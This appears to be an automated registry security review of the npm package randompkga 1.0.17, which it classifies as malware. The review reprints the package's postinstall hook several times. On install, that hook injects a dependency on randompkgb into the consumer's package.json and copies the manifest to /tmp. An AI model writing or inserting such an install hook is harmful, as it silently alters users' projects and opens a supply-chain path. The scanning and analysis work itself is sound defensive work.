registry / randompkga / 1.0.17

randompkga@1.0.17

AI Security Review

scanned 5h ago · by lpm-firewall-ai

Installing the package runs a postinstall hook in the consumer project. It injects randompkgb into that project's dependencies and copies its manifest to /tmp.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation

Impact

Unconsented mutation of the consumer's dependency manifest can introduce a further package into future installs.

Mechanism

postinstall dependency injection and project-manifest copy

Attack narrative

On installation, the package changes directory to INIT_CWD, which is the invoking consumer project, and uses npm pkg set to add randompkgb as a dependency. This silently modifies the consumer manifest and causes that additional package to be resolved on subsequent installs. It also copies the modified project manifest to /tmp. No benign runtime implementation is packaged.

Rationale

The package's only observable behavior is an unconsented postinstall mutation of the consumer project to inject another dependency. This is a concrete supply-chain attack behavior despite no network or credential code in this archive.

Evidence

package.json$INIT_CWD/package.json/tmp/package-during-a-postinstall.json

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall changes the installing project's package.json to add randompkgb.
The hook then copies that project manifest to /tmp.
The declared main file is absent; the only packaged behavior is install-time mutation.

Evidence against

No packaged source file, network endpoint, credential access, or remote payload loader was found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 0 file(s), 0 B of source

Source & flagged code

5 flagged

package.jsonView file

Lines 1-14json

2 "name": "randompkga",

3 "version": "1.0.17",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "cd \"$INIT_CWD\" && npm pkg set dependencies.randompkgb=\"^1.0.0\" && cp package.json /tmp/package-during-a-postinstall.json"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

High

Suspicious Lifecycle Evidence

postinstall changes the installing project's package.json to add randompkgb.

package.jsonView on unpkg · L7

High

Ai Review Evidence

The hook then copies that project manifest to /tmp.

package.jsonView on unpkg · L7

High

Ai Review Evidence

The declared main file is absent; the only packaged behavior is install-time mutation.

package.jsonView on unpkg · L5

8 },

9 "keywords": [],

10 "author": "",

11 "license": "ISC",

12 "type": "commonjs"

13}

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = cd "$INIT_CWD" && npm pkg set dependencies.randompkgb="^1.0.0" && cp package.json /tmp/package-during-a-postinstall.json

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "cd \"$INIT_CWD\" && npm pkg set dependencies.randompkgb=\"^1.0.0\" && cp package.json /tmp/package-during-a-postinstall.json"

High

Suspicious Lifecycle Evidence

postinstall changes the installing project's package.json to add randompkgb.

package.jsonView on unpkg · L7

7"postinstall": "cd \"$INIT_CWD\" && npm pkg set dependencies.randompkgb=\"^1.0.0\" && cp package.json /tmp/package-during-a-postinstall.json"

High

Ai Review Evidence

The hook then copies that project manifest to /tmp.

package.jsonView on unpkg · L7

5"main": "index.js", "scripts": { "postinstall": "cd \"$INIT_CWD\" && npm pkg set dependencies.randompkgb=\"^1.0.0\" && cp package.json /tmp/package-during-a-postinstall.json"

Findings

4 High1 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present